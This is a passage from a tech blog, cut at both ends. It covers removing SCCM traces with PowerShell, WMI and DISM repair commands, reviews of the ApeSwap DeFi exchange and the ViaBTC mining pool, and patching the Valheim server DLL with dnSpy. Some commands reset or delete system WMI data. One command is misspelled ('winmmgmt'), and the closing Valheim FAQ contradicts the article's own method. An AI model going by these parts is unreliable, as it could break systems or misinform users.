SilentlyContinue | Remove-CimInstance -Verbose -Confirm:$false -ErrorAction SilentlyContinue Get-CimInstance -Query "Select * From __Namespace Where Name='CCMVDI'" -Namespace "root" -ErrorAction SilentlyContinue | Remove-CimInstance -Verbose -Confirm:$false -ErrorAction SilentlyContinue Get-CimInstance -Query "Select * From __Namespace Where Name='SmsDm'" -Namespace "root" -ErrorAction SilentlyContinue | Remove-CimInstance -Verbose -Confirm:$false -ErrorAction SilentlyContinue Get-CimInstance -Query "Select * From __Namespace Where Name='sms'" -Namespace "root\cimv2" -ErrorAction SilentlyContinue | Remove-CimInstance -Verbose -Confirm:$false -ErrorAction SilentlyContinue # Completed Write-Host "All traces of SCCM have been removed" } uninstallSCCM removeSCCM If you know of more traces that are missing, especially if they stopped you from reinstalling or can cause a problem that perhaps I have yet to encounter, leave a comment and I will add them! Further Troubleshooting – WMI If you still can’t reinstall SCCM and you’re sure it has nothing to do with your environment there are a couple “gotchas” that come up a lot with SCCM you should check for. The first one is your computer’s WMI repository. You can verify this with: winmgmt /verifyrepository A good result is that your “WMI repository is consistent” like this: Verifying a WMI repository If it tells you that the WMI repository is inconsistent your WMI repository is broken on that machine. You can attempt a repair with: winmmgmt /salvagerepository winmgmt /verifyrepository If it came back as consistent now, then the built in tools actually successfully fixed it, nice! If it’s still broken, you did not get lucky and your “good” options are running out. There is another command we can use that resets WMI back to the default state the machine had when it was installed. Before you try it, I must WARN you, this can sometimes cause problems if you have other applications that have added custom WMI that won’t be there when you reset the WMI repository back to the original default state. It’s not a “safe” command to just run willy-nilly. Specifically: Rebuilding the WMI repository may result in some third-party products not working until their setup is re-run & their Microsoft Operations Framework re-added back to the repository. If your only other option is to reimage the machine anyways and you have nothing to lose, YOLO: winmgmt /resetrepository winmgmt /verifyrepository Hopefully that one got it for you but if not you can get really desperate and try rebuilding the WMI .mof files yourself following this article here. However, if your WMI is this broken that you are manually trying to repair .mof files, it’s definitely time to seriously consider a reimage at this point. It’s way outside the norm to get this far down the list of WMI troubleshooting and still be having problems when there aren’t a dozen other things wrong with that image on there that haven’t been found yet! If you’re really determined to fix WMI on that machine there’s more you can do but it’s beyond the scope of this article but at least you know the problem and can do some further research here. Further Troubleshooting – DISM DISM stands for “Deployment Image Servicing and Management”. This tool helps you manage your Windows image itself. Windows also has it’s own repository of packages and this tool verifies that they are all there and in the condition they should be. We can run the DISM command to check our Windows image with PowerShell and make sure it’s “Healthy” like this: Repair-WindowsImage -Online -CheckHealth Repair-WindowsImage in PowerShell The other possible results are “Repairable” and “Unrepairable”. It’s pretty unusual to encounter straight up fully “unrepairable” ones, most of the ones you are likely to encounter will show as “Repairable”. If it’s unrepairable then it’s absolutely hilariously broken and essentially needs a straight-up reimage at that point. The CheckHealth command is a great command and only takes a few seconds to run but it only checks the Windows logs for errors. There’s a more comprehensive scan you can perform if you don’t trust the result you got: Repair-WindowsImage -Online -ScanHealth The ScanHealth command actually computes all the hashes and checks every single file in the repository one at a time. It can take several minutes or much longer (15-20+ minutes) than that on old machines still using HDDs instead of solid state storage, but if that one comes back clean it’s a pretty definitive result and it’s time to consider other possibilities. If it shows repairable you can repair it with: Repair-WindowsImage -Online -RestoreHealth If the repair was successful there’s one more step you need to do. All we’ve done with the DISM command is fix the repositories Windows uses to update and replace broken files. Now we need to run the System File Checker tool like this to actually replace the damaged files: sfc /scannow There’s definitely some problems you can run into when running DISM (different types of errors) but they’re outside the scope of the article and what to do next can be pretty easily found by putting your error into your favorite search engine. You may also feel free to leave a comment with what you’re seeing! Definitely check out my other PowerShell articles as well for more ideas! #### Review: ApeSwap Exchange / DeFi on Binance Smart Chain ApeSwap The Binance Smart Chain can be a dangerous place. It offers a reprieve from Ethereum’s fees with transactions costing mere pennies but despite it’s centralized nature it has struggled with new platforms getting hacked, rugpulling, scamming, and many other pitfalls. In order to continue the journey of learning everything I can about cryptocurrency I have decided to wade through the filth and blog about my journey to outline which services ended up being legit and having value and which ones were a total sham. Today let’s talk about ApeSwap! Table of Contents Toggle Introduction/DisclaimerWhat is ApeSwap?Determining LegitimacyYield FarmingStaking PoolsSwappingGolden Bananas (GNANA)Reflect Fee EarningsFarming EarningsConclusion Introduction/Disclaimer The purpose of this article is to document my experiences I have had using ApeSwap. I won’t be giving any investment advice and can’t/am not qualified to tell you what you should do with your crypto or your money. All I can do is tell you what my experience was and if I thought it was worth it for me or not. You should legitimately, outside of the disclaimers/legal mumbo jumbo, be extraordinarily careful with anything to do with cryptocurrency. Do your research, and consult with experts/professionals if in doubt. The reason I dived into ApeSwap is that I had been experimenting with PancakeSwap to learn about DeFi and yield farming and had 20-30 CAKE in there when CAKE went from $15-18 to $40. I had meant to buy more CAKE but it had got so expensive that when I heard from some reputable sources about ApeSwap I decided to try doing some DeFi on there! I have no idea if it’s going to be worth it or not yet but the numbers look promising on paper initially (I’ll share them later). What is ApeSwap? ApeSwap is an exchange on the Binance Smart Chain. It lets you, like most things with the Binance Smart Chain, do swaps extremely quickly and cheaply. It also offers the standard set of liquidity pooling/staking that most DeFi services offer letting you stake liquidity pairs like BNB/BUSD for 300-400% APY returns as well as non-pair traditional (and safer) staking for a lower % APY. Basically, ApeSwap lets you exchange tokens on the Binance Smart Chain for cheap as well as yield farm. The native token of the platform is the BANANA, which probably won’t surprise you. If you have used PancakeSwap before it’s almost an exact clone (at least of the interface) but there are some differences we’ll cover later. It’s the #12th highest volume Decentralized Exchange (DEX) and will almost certainly be larger by the time you read this article. The BANANA token has gone from about 90 cents to $8.50 at time of writing and has been as high as $11. Determining Legitimacy There are a ton of PancakeSwap clones out there that look just like ApeSwap. I experimented with one called JaguarSwap the other day that was offering something ridiculous like 4000% APR and most sections of the site were unfinished/not working. These types of clones are common and notorious for “rugpulling” where a bunch of people are lured in and then the whales take all their liquidity out and leave everyone holding the bag on tokens that drop 90%+ in value when all the liquidity vanishes. In the words of Vitalik Buterin, “the most important scarce resource is legitimacy”. There’s lots of imitators, and frankly there are really only a handful of serious exchanges/liquidity farms out there worth using. More exchanges are coming all the time, some of them even great, but many of them are scams/rugpulls/etc. So how can we try to determine legitimacy? The first way is to look at the numbers. How big is the exchange? How much volume is there? Let’s take a look at the CoinGecko DEX chart: ApeSwap is way up there on the DEX rankings already! It’s already #12 just barely behind Compound in 24 hour volume. We can also see the BANANA/BNB pair on the right has a respectable $80 million dollar 24 hour volume and 1.5% of the entire DEX market share. This is already a huge exchange to be trading blows with Compound, a well established DeFi platform that has been around for some time. These numbers are impressive and help to establish legitimacy. The bigger and more established the volumes and rankings are the less likely it is you are going to be dealing with a rugpull or exit scamming. Once exchanges get this big it becomes way more profitable to continue to operate legitimately than try to pull shenanigans since the fee gravy train means the house always wins. Another thing to note is the number of liquidity pairs. A lot of other PancakeSwap knockoffs have the main “core” liquidity pairs and basically nothing else. ApeSwap has 107 liquidity pairs including for a lot of other yield farming sites like CAKE, NUTS, etc. If you see a liquidity farming site with their token and BNB/BUSD and not much else that is a big red flag. While not nearly as many as PancakeSwap has 107 is a lot of pairs especially compared to other BSC exchanges. One additional way to determine legitimacy on these PancakeSwap clones is the ICO (initial coin offering) section where people can launch new coins. Are other people actually launching their coin on the platform? ApeSwap has actually launched a few new cryptos on their platform so the answer is yes in this case. They call it an “Initial Ape Offering” on the platform and there have already been a few. That’s a very good sign of stability. If you see PancakeSwap lookalikes that have a ICO section with nothing in it, under construction, etc. that is another red flag. Yield Farming Yield farming on ApeSwap, like most DeFi, offers the highest rates. You combine two tokens together, such as BNB and BANANA, to create a liquidity pair. The rates are highest here because you take on the risk of “impermanent loss” with liquidity pairs which means that if the tokens change in value while you have them paired you might not get the same amount of each back unless they’re worth exactly the same as when you “paired” them. This is a difficult concept to wrap your head around but the losses can be as high as 25%. For an example let’s say you pair BANANA and BNB together in the BANANA/BNB pair when BANANA is $10 each and BNB are $650 each. What if BANANAS rise to $30 each and BNB stays the same? We can plug this into the dailydefi.org Impermanent Loss calculator: Impermanent Loss Calculator The rates on every DeFi platform I’ve seen way more than make up for the risk of impermanent loss (intentionally) but it’s extremely important to understand how it works before doing this type of yield farming. Use the calculator and do some calculations to understand how this works before farming. I am currently utilizing the farming and have found it to work well and have not had any problems. If you are trying to earn more bananas this was the fastest way I found on the platform. Staking Pools If you don’t want to face the risk of impermanent loss and the complexity of creating liquidity pairs there is a much simpler option available. You can simply stake BANANAs (and a select few other currencies for certain pools) and earn more of them or you can earn other types of currencies as a reward for your BANANA. Here’s a look at the pools: You can see the rates are not as high as farming but still quite respectable. It’s very simple with no liquidity pairing or anything. You just click the + and add them and you get the rewards. I have used the pools but ended up moving everything into farming. They worked great and your balance immediately builds and accumulates just like with farming but I wanted to chase the higher yields. I may rebalance more later as the rates continue to adjust as more people continue to use the platform and the rates adjust to reflect the market which may make some things look more favorable than they looked when I wrote this article. Swapping Swapping tokens is easy, painless, and cheap. If you’ve ever used any other swapping service it works pretty much exactly the same: They have a decent number of pairs including a lot of the competitor exchanges like CAKE, NUTS, and more. New pairs are being added all the time as well. Swaps are cheap and fast (< 30 seconds and I want to say like 10-20 cents in fees). Golden Bananas (GNANA) This is a really interesting feature that is unique to ApeSwap. Golden bananas are intended to be the governance token for ApeSwap and they have some really interesting properties: First, to get golden bananas you have to pay a 28% burn fee. You read that correctly, you have to burn 28% of your bananas (and a 2% reflect fee, more on that in a moment) to turn them into golden bananas. This is what it looks like: Golden Banana Buy This increases the value of the BANANA token by burning them. It also penalizes whales from moving in and out of GNANAs because of the insane 30% loss every time you move into GNANA. The other awesome thing about GNANA is the 2% reflect fee. What does this mean? That means that when you have GNANA in your wallet (not staked) every time someone does a transaction they pay a 2% reflect fee that goes to all GNANA stakeholders and immediately increases your balance. That’s why my balance has all the extra #s after it. It’s constantly getting 2% fees from all GNANA transactions. I currently have mine unstaked to get the GNANA reflect fees. You can also stake your GNANA into pools that pay much higher rates than the standard pools. At time of writing the GNANA staking pool for BANANA gave you 205% APR vs. 157% for the standard staking pool. Eventually as the governance token you will likely be able to use GNANAs to vote on changes to the ApeSwap system like you can with other governance systems in other cryptos and I suspect future perks will continue to be added as well. Reflect Fee Earnings I have been running an experiment to see if it’s worth it to leave your GNANA unstaked and earn the 2% reflect fees that are paid out to all GNANA wallet balances (unstaked) for every single GNANA transaction. That means if a heavy hitter buys 1,000,000 GNANA they pay out 2% of that to all GNANA holders. It’s distributed to everyone based on their GNANA balance. For this experiment I started with about 100 GNANA. Here’s the results so far: 12:50am 5/4/21 – 100.83692 2:22am 5/4/21 – 100.84059 2:40am 5/4/21 – 100.84076 2:49am 5/4/21 – 100.84448 10:59am 5/4/21 – 100.90658 12:23pm 5/4/21 – 100.914823 12:48pm 5/4/21 – 100.917236 12:56pm 5/4/21 – 100.918348 3:12pm 5/4/21 – 100.95683 5:46pm 5/4/21 – 100.97162 6:07pm 5/4/21 – 100.98609 6:40pm 5/4/21 – 100.98848 8:08pm 5/4/21 – 100.99374 8:29pm 5/4/21 – 100.99448 9:10pm 5/4/21 – 100.99519 10:28pm 5/4/21 – 101.01053 12:06am 5/5/21 – 101.02275 12:21am 5/5/21 – 101.02277 3:21am 5/5/21 – 101.03115 3:47am – 5/5/21 – 101.032747 11:40am – 5/5/21 – 101.05644 1:40pm – 5/5/21 – 101.06357 5:54pm – 5/5/21 – 101.09746 7:55pm – 5/5/21 – 101.15425 9:28pm – 5/5/21 – 101.16595 12:32am – 5/6/21 – 101.17390 1:48am – 5/6/21 – 101.17602 The results are pretty interesting. Notice from 2:24am to 2:40am it only went up .0002 that entire time for 18 minutes. There must have been virtually no GNANA activity at this time. I took one last measurement before bed at 2:49 and it had gone up a whole .004 all of the sudden. When I look at my readings during the higher volume periods of the day it’s increasing *much* more quickly on average. This seems like just luck as to whether people are doing big GNANA transactions. My impression so far is that you’ll probably make more staking your GNANA in the 200%ish BANANA yielding pool right now vs. leaving it in your wallet for the 2% reflect fees but it’s hard to say. There were some pretty big jumps in my balance as I have been tracking it and if the volume continues to increase the 2% reflect fees may easily start passing the BANANA yield. I’ll keep gathering data! Farming Earnings The coolest feature ApeSwap is their built in earnings estimates. It has pretty detailed built in calculations for all of your farming/staking pools that break down how much you’ll make per day/week/month/year. Now, before I show you the numbers, take them with a massive grain of salt. I am. The rates are still quite high and will likely come down quite a bit as more liquidity is established on the exchange. Here we go: ApeSwap Stats The breakdown into cards for each pool is very nice. ApeSwap actually tells you the difference in earnings you’ll see between a 423% rate like BANANA-BUSD and a 384% rate via this calculator. Frankly, these earnings are absolutely, wait for it, bananas. Will I still be farming this platform 1 year from now? I don’t know, I kind of doubt it but maybe. But for right now? Yeah, even around $5000 will net you $57 a day right now in the basic BANANA-BNB pool. That’s absolutely wild performance, but I think the rates will continue to fall and make this less attractive. The further out the timeline the less accurate it likely is. Yesterday it said I was making $29,000/yr but BANANA was over $10 and it is $8.50 right now. At least at time of writing though, it really is making $56 a day in BANANA with about $5300 in liquidity provided. That is outstanding and too good to be true in my opinion but time will tell. Conclusion It’s really good so far. Several tokens have already done their initial token offering through ApeSwap and it continues to grow. Yields are great right now but will likely fall as more liquidity comes into the exchange but I’m having a blast doing it at the moment. As much as I hate to say it, I really have enjoyed working with the Binance Smart Chain despite it’s evil centralized nature. I really am excited for cryptos with cheaper fees than Ethereum that are more decentralized to finally “catch up” and start offering some of these DeFi products on other platforms. As far as ApeSwap, the web site is fast, works well and has features I love and am annoyed that other platforms don’t have when I use them now (such as the estimated earnings breakdown screen). We will see how their governance token continues to develop (GNANA) and what else they do in the future! #### Review: ViaBTC Mining Pool (Mixed) In my last series of cryptocurrency related products/services reviews I gave a positive review to the ApeSwap Exchange on the Binance Smart Chain which has continued to be a great exchange and live up to that review. Today we will be reviewing the ViaBTC mining pool (for multiple cryptocurrencies and not just Bitcoin, lots of harder-to-find alts and that is why I’m using it) and they will not be so fortunate. Let’s jump right into it! Table of Contents Toggle ViaBTC OverviewMining Pool PerformanceConversion / AutoconversionWithdrawals / AutowithdrawalsDepositsCustomer ServiceTicket #315125Ticket #328710Ticket #358867ConclusionUPDATE 4/19/2022 ViaBTC Overview Official Pool URL: https://www.viabtc.com/ Alternative Official Site URL (useful when there’s DNS issues): https://www.viabtc.net/ ViaBTC is a fairly large mining pool that has a fairly comprehensive selection of cryptocurrencies you can mine all in one place. It also includes some hard-to-find alts that only have a handful of pools available if you happen to have an ASIC for one of those coins. They have mining pools available for the following currencies: BTC, BCH, XEC, BSV, DCR, FCH, LTC, ETH, ETC, ZEC, ZEN, DASH, XMR, CKB, LBC, HNS, RVN, STC. I am using it as the pool for my Goldshell HS1 Pro and my Goldshell LB1 miners: Goldshell LB1 and Goldshell HS1 Plus ASIC Miners Most of these currencies are altcoins that not very many people want to hold (myself included) and are available on very few exchanges making them also difficult to trade/convert. This leads us into the most useful feature of ViaBTC which is converting those altcoins to BTC (or others are also available) for you (manually or automatically) right at the pool level. Mining Pool Performance As a pool ViaBTC has functioned very well for both LBRY (LBC) and Handshake (HNS). The reason I switched to it in the first place is some of the other pools were dropping my connection causing the Goldshell miner to get stuck until I rebooted it. After switching to ViaBTC this problem went away and I haven’t had any performance or connection related issues. The pool has paid out consistently and reliably. This part of ViaBTC seems to be the part they know how to do! Conversion / Autoconversion ViaBTC – Conversion / Auto Conversion* Feature (auto conversion not guaranteed) Here is ViaBTC’s “Auto Conversion” section. Despite the name, it has never auto-converted anything for me once. Ever. This is despite it being set to convert “hourly” and the option also being enabled (second to last column on the right). The minimums for using the “convert” button or “manual” conversion are pretty steep. It is a minimum of 100 HNS and 100 LBC to be able to convert them. As you can see above I have well above the minimum 100 LBC to manually convert. Despite this and the hourly convert to BTC option enabled it will not convert until I hit the convert button and put in my two factor authentication (2FA) code from Google Authenticator. The good news is that the auto-withdrawal part of this process does seem to work. I log in and periodically convert my amounts and then I will leave the converted BTC in there and let the automatic nightly withdrawal send it to me (saves on fees, more on that in a moment). Withdrawals / Autowithdrawals The fees for manually withdrawing on ViaBTC are outrageous (at least for BTC) but if you let the automatic nightly “batch” withdrawal where a bunch of transactions are all pooled together you seem to pay substantially less in fees and the fees are more reasonable if you let it go to this “nightly” withdrawal. If you request a manual payout the fees are quite steep. How steep? ViaBTC – Withdrawal Exactly 0.000404 or $17.88 each at time of writing. Ouch. You may have noticed the warnings plastered everywhere to transfer to CoinEx. I don’t have a CoinEx and if you don’t either then prepare to take it in the shorts on fees (although leaving withdrawals for the nightly withdrawal batch cycle helps but the minimums are steep and take weeks with my tiny little ASIC miners to reach 0.001 BTC). Deposits Do not deposit funds to ViaBTC. Period. Why? Because if something goes wrong you are going to have to deal with their customer service which is the worst I’ve ever personally encountered in cryptocurrency. I only made two deposits and one of them was lost so that is a 50% loss rate out of 2. I sent a HNS deposit from Bob to my ViaBTC HNS deposit address. I took these today and my live ViaBTC deposit address is still unchanged from this original transaction: ViaBTC- HNS Deposit Address (taken at time of writing) Bob HNS Wallet – Deposit to ViaBTC Transaction and my final result: ViaBTC – Deposit History Only my LBRY (LBC) deposit made it and the HNS one still has not to this day. Don’t do it!                               Customer Service So what is the customer service experience like? Frustrating. It’s all via email. There is no “web portal” for this ticket system outside of a web submit form that also just sends them an email. Let’s take a look: Ticket #315125 ViaBTC Support Ticket #315125 This looks like a promising start. I got a prompt reply stating that the transfer was delayed due to a “node upgrade” and that they would keep me informed once it’s been added to my account. That’s a great response! It’s also literally the last response I would ever get from them. My follow up question at the end went ignored and is unanswered to this day. Ticket #328710 I submitted another ticket referencing the first one and explaining what had happened again and this was the only response I received: ViaBTC – Ticket #328710 Hmmm, now that’s puzzling. I seem to be getting Chinese characters in the response this time. To the Google Translator! ViaBTC – Customer Service Response Chinese to English Translation Ah hah! I doubt most ordinary/sane users would go through the effort of trying to translate a message like this or even realize there actually was a message in there. Basically they closed my other ticket with no response and merged it into my existing ticket. The same ticket which has had no response for several months now. That’s a lot of HNS node upgrade downtime! It may be time to hire some new crypto engineers if it is taking months to upgrade a HNS node. There’s probably been a dozen more versions since this supposed upgrade. Ticket #358867 I opened this ticket today before publishing to see what happens with and will update the article later based on it. I did not wait for their response this time because frankly they already have passed several red lines for me to reach my overall conclusion and recommendation for the service. Here’s the ticket: MIME-Version: 1.0 Date: Tue, 27 Jul 2021 17:13:17 -0600 Message-ID: <CAJYQYG1r-0r=V1kbz=M3FGBXL0KHvr9sXY8O8jWak7-uFGsdPg@mail.gmail.com> Subject: HNS Deposit failed From: James Chambers <05jchambers@gmail.com> To: support@viabtc.com Content-Type: multipart/alternative; boundary="000000000000f02ee305c82303a4" --000000000000f02ee305c82303a4 Content-Type: text/plain; charset="UTF-8" This is regarding tickets 315125 and 328710. My second ticket was closed without any explanation. HNS hasn't shown up for hours months. It was sent to hs1qajm8zpz52rtz575yz2nma54920vwdzsxq8ttql in transaction df9ba5f47d45b9ad1f7f5016c0ae91a7d55448ef6c2d155d58317f6bb5e71e3e. The money was swept immediately and was never deposited into the account. Can someone help with this further please? Thanks, James Chambers Honestly what is the point of having a ticketing system like this? ViaBTC is wasting their money on that ZenDesk ticketing system (if it’s even a legal copy, it appears to have been gutted, user-accessible pages 404 if you try to tweak the URL and get to a frontend or sometimes take you to a broken CoinEx helpdesk link which I assume is what is really powering this not-very-fancy web submit form behind the scenes) and it has literally zero value to end users. It also doesn’t appear to be valuable to their team either and is not helping get these issues resolved. If anything it’s giving them a false sense of security that things aren’t “slipping through the cracks” when I can personally assure them they very much are in ways that are stunningly incompetent to the point of it being called into question why they have a ticketing system at all. This is nothing more than an “email only” system where they ignore your emails just like any other place with terrible support. Don’t be fooled by them having a “ticketing system”. They essentially don’t, or they may just as well not have one in practice if you want to be charitable because it doesn’t lead to better/acceptable outcomes. Conclusion If you are going to use this service it is best to use it as a service you don’t trust. Here’s some safety tips: Never send the service money, only receive from it Immediately convert/withdraw your mining earnings when they hit the automatic amount (using the nightly batch automatic withdrawal to not get killed on fees but minimums are high so depending on your miners you may have to wait weeks to hit the minimums) Use a different service unless you really need the hard-to-find coins on here, and even then probably use a different service The service seems to work fine unless something goes wrong. The customer service is absolutely embarrassing here. The frontend portal for the ticketing system isn’t user accessible and only takes you to a submit ticket form. They don’t seem to be scammers, just deeply incompetent. I’m guessing they will return my deposit eventually but after 2 months of a lost deposit the CEO should have personally reimbursed my account to clean this up at this point. That has not happened yet though (I’ll update if/when it does) so maybe I’m still being too charitable here. It is deeply embarrassing that they couldn’t have manually fixed it by hand in all this time. It also appears that it won’t be addressed any time soon (maybe ever) unless this post attracts their attention. I made my documented best efforts here to contact them to correct this before this went up because you only get about 5% partial credit for fixing it once you get called out and you can’t “fix” the experience at this point no matter what the response is. I also get the sense that only people complaining on social media get help and that is a reprehensible support model. You shouldn’t need a loud voice to get help. It boils down to this: are you cool with them losing your money for 2+ months? This was a small HNS deposit luckily but I can’t imagine how stressful it would be to send any serious amount of money to this clown show and have this experience. If any of you have had similar experiences let me know in the comments! UPDATE 4/19/2022 Pairing with CoinEx makes ViaBTC a lot better. Make sure you check out my Best Altcoin Mining Pools / Exchanges where I explain this. CoinEx pairing solves most of the issues I had here outside of my deposit issue. #### Revisiting Fixing Valheim Lag – Modifying Send/Receive Limits My Valheim Dedicated Server Castle I’ve previously covered fixing Valheim’s dedicated server lag by modifying the dedicated server’s send receive limits. Since I wrote that article not long after launch though the game has been updated that the old method no longer applies. I had theorized in the comments of that article how to address this and today Sam R. confirmed that this method did indeed alleviate most congestion on the server in the places that the send/receive limits are known to bottleneck. This updated guide will show some updated methods you can use to help reduce lag on your Valheim dedicated server! Table of Contents Toggle Symptoms of lag on Valheim dedicated serversAvoid extensive terrain manipulation (for now)Modifying your server’s send/receive limitGet dnSpy utilityModifying server with dnSpySaving the new assemblyBacking up original file and replacing with our new oneOther ResourcesOther Valheim Lag IssuesWhy is my Valheim dedicated server lagging and how can I fix it?What are the optimal Valheim server settings for Linux/Docker?How do I backup Valheim worlds on a Linux server? Symptoms of lag on Valheim dedicated servers The symptoms you are experiencing on the server can help narrow down what type of lag you are experiencing and what may be causing it. Lag caused by your CPU being too overloaded for example will have different symptoms than lag that is caused by your server hitting the maximum send/receive limit as an example. By far the most common type of dedicated server lag seen in the early access Valheim release so far has been mainly due to the low send/receive limit if 64KB/s that is hard coded into the server. This means that when you do something like take your character a heavily populated area on the server it has to send all that information about all the buildings/players through an artificially limited very narrow 64KB/s pipe. Symptoms of the send/receive limit type of lag include things like chests taking a very long time to open, sometimes 10-30 seconds or never opening while at the same time being able to see players walking around normally. This is because the other people’s X / Y / Z positions is a very small amount of data compared to all the items/names/attributes that are stored in the chest. The other players moving easily fits through the narrow pipe while the chest full of loot’s data chokes since it is much larger. I’ll specifically lay out how to modify your server and increase this limit in the “Modifying your server’s send/receive limit” section below. Before that though let’s cover a more specific type of lag to watch out for (mostly by being avoided) related to terrain manipulation. Avoid extensive terrain manipulation (for now) Another commonly observed source of lag has to do with terrain manipulation. Some players have found that if they take a big chunk out of the ground in Valheim and make extensive terrain modifications that the area gets filled with separate “instances” of terrain for each modification people make. Think of the original ground as one big piece in the game files. Valheim has the very cool feature of letting you modify terrain by raising it/lower it/level it/etc. Each time you do this though the game has to store what you did as a new “instance” or a modification. The way Valheim seems to work now is it renders that original piece and then the modifications afterward. Early reports suggest having a whole bunch of them in one spot seems to sometimes cause everyone’s in-game FPS on the server to drop as low as 40 when the clients normally are much much higher than that. The best way to avoid this type of lag at the moment is to limit how much terrain modification you are doing in areas near your base. It is likely this will be addressed/eased in future patches. There should be some things the developer team can do to clean up/merge these instances or at least reduce their effect on the rendering process so it doesn’t drop the in-game FPS so dramatically. Save The Greylings… said no one ever* Modifying your server’s send/receive limit At this time there is no options file for Valheim unfortunately. The only way to change it is to modify the server’s code and recompile the module that controls this. Fortunately this is a lot easier than it sounds because the module we need to change is in .NET instead of something like C++ which would be much more difficult to do this with. I did not come up with this method, a very clever user on reddit (maximgame) shared it here and I want to give credit where credit is due! Despite it not being too difficult these modifications are at your own risk. I haven’t experienced any problems so far but technically we are modifying the server’s code with the following procedure so understand that this isn’t an officially supported method and could have side effects or if you make a mistake could cause serious problems. Make sure you have backed up everything (your game world files especially) before you try anything! Another important note is that it’s very likely you will have to make the changes again each update since the file we are going to modify is going to get replaced by updates. Until they add either a launch option or options file to officially change/control this property that is unfortunately unavoidable. With all that being said if you understand the above and still feel comfortable let’s proceed! Get dnSpy utility We are going to use the utility dnSpy to modify the server code and recompile the module. The utility is free and is available here (download the Win64 build or dnSpy-net-win64.zip): GitHub dnSpy Official Page Extract the archive and run the program dnSpy.exe from inside the folder you extracted. The dnSpy application will open. Modifying server with dnSpy We are going to go to the “File” menu in the top left and choose “Open” like this: dnSpy – File -> Open Menu Now you need to navigate to the Valheim dedicated server folder which is located in your “steamapps” folder. If you left all the options default when you installed it’s typically “C:\Program Files (x86)\Steam\steamapps\common\Valheim dedicated server\valheim_server_Data\Managed”. We are looking for the file “assembly_valheim.dll” in that folder: dnSpy – Selecting Valheim server assembly file Select the file “assembly_valheim.dll” and click “Open” and the server’s assembly will load into dnSpy. Once it has finished loading we are going to go to the “Edit” menu and click “Search Assemblies” like this: dnSpy – Search Assemblies For the search criteria enter “ZDOMan” like this: dnSpy – Searching for ‘ZDOMan’ After the search completes you should see a list of results like the one above. Double click on one of these entries on the list and it should place you in the ZDOMan section of the assembly (seen on the left hand side of the screen): dnSpy – ‘ZDOMan’ section of assembly Perfect. We are now in the right place to make the changes. We just need to locate the line that has the send/receive limitation. To find that press Ctrl+F to bring up the find box (or choose “Edit” -> Find from the menu) and search for: sendQueueSize which should bring up the following lines: dnSpy – sendQueueSize Variable If you are having trouble finding the lines make sure you’re using Ctrl+F to search this time and not the “Search Assemblies” from earlier at the bottom of the screenshot, that’s a different type of search. Make sure you’ve disabled the case sensitive options (the Aa right below the box) or any other search filters. Your search query box should be in the top right of the screen like the above screenshot that has sendQueueSize in it. Now right click on this line: int num = 10240 - sendQueueSize and click “Edit Class (C#)…”. Another window will open that will let you make changes to the file. We are going to modify ‘10240’ to a variable of our choosing. I made mine 30720 since after doing some conversion math that is the equivalent increase from my previous launch version guide that provided great performance and I kept them the same. If you followed my last guide this will give you the exact same performance as the old one did. There are two instances of this variable. The second instance is 3 lines above the highlighted line we searched for and is: if (!flush && sendQueueSize > 10240) Modify both instances of 10240 to 30720. Theoretically setting a limit too high could cause the server to swamp your internet connection if you have a large number of players on and there’s essentially no limit but there shouldn’t be any other effects of a very high number. Once you’ve changed both numbers to the desired value we need to press the “Compile” button in the bottom right corner of this new window. This window will close and take you back to the previous one. Saving the new assembly It’s time to save our changes into a new .dll file. Choose “File” -> “Save Module…”: dnSpy – Save Module as assembly_valheim_modded.dll Change the file name to assembly_valheim_modded.dll. Don’t overwrite the original file just yet as we will want to take a backup and make sure that the server is closed before we do that. Press “OK” to write the new assembly_valheim_modded.dll file. Backing up original file and replacing with our new one Now it’s time to back up the original file and replace it with our new modded file. First make sure your dedicated server is closed otherwise the dll file will be in use. It is also a good time to make a backup of your world file just in case (see my Valheim Dedicated Server Backup Location / Guide for instructions) Navigate in a file explorer window to your Valheim server directory where we saved the new assembly file (usually C:\Program Files (x86)\Steam\steamapps\common\Valheim dedicated server\valheim_server_Data\Managed). First make a copy of the original assembly_valheim.dll file. You can just select the file and “copy” then paste a copy of it in that same folder and Windows will make a “valheim_assembly Copy(1).dll” file for you or you can back it up to a separate folder. Now remove the original file and rename your “valheim_assembly_modded.dll” file to the original file name of “valheim_assembly.dll”. That’s it, you’ve now replaced the old assembly with the new one! Go ahead and start your server normally and the changes will have taken effect. Other Resources Make sure you are taking constant backups of your Valheim dedicated server: Backup Valheim Dedicated Server – World Folder Paths / Guide It’s also important to back up your local game’s characters and local worlds if you are using them. I have written a guide for the local game side that is available here! For historical reasons I’ve left up the post with the old method here as it helped me devise the new method: Fixing Valheim’s dedicated server lag by modifying the dedicated server’s send receive limits Other Valheim Lag Issues If you know of other Valheim lag issues that I didn’t cover here or are still having problems let me know in the comments and I will update this guide with other tips/tricks and try to answer any questions. It’s still a very new game and there isn’t very much out there for it yet. Have fun and enjoy! Valheim – 0 Days Since Last Accident…* Why is my Valheim dedicated server lagging and how can I fix it?Valheim’s default send/receive limits can bottleneck network performance. Increasing these limits in the server configuration or Docker environment variables resolves tick rate drops and player rubberbanding.What are the optimal Valheim server settings for Linux/Docker?Set receive-limits and send-limits to higher values (e.g., 8000-10000) and ensure mlockall and guardpage flags are enabled for memory stability and reduced garbage collection pauses.How do I backup Valheim worlds on a Linux server?The worlds are stored in the dedicated server’s local data folder. Use rsync or a cron job to compress and archive the local or players directories regularly to prevent world corruption or loss. #### Rock Pi 4C Plus w/ NVMe SBC Review Radxa Rock Pi 4C Plus w/ NVMe Review We continue to see a storage technology evolution take place with single board computers. NVMe slots are becoming more and more prevalent on newer models. This is great news for consumers as a M.2 NVMe SSD can actually be cheaper than a SD card (and is much cheaper GB per GB). Today I’m taking a look at the Radxa Rock Pi 4C Plus V1.2 single board computer. Previous iterations of this board have had NVMe slots but it has been moved to the top of the board on this model and can properly mount a 2230 NVMe SSD. The SSD I’m using today was only $13 for a 128GB capacity drive*. The board is quite powerful hardware-wise having 4GB of RAM and an hexa-core (6 cores) CPU configuration. We’ll be benchmarking what kind of performance we get using a configuration like this. Let’s get started! Table of Contents Toggle Hardware UsedSpecificationsBuild QualityImages AvailableImaging M.2 NVMe ModuleMounting M.2 NVMe ModuleBenchmarking NVMePros / ConsProsConsConclusionOther Resources Hardware Used Radxa Rock Pi 4C Plus The Rock Pi 4C Plus model always comes with 4GB of RAM. It has a hexa-core processor (6 cores) and a Mali T860MP4 GPU as well as a top-mounted M.2 slot (2230). Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, 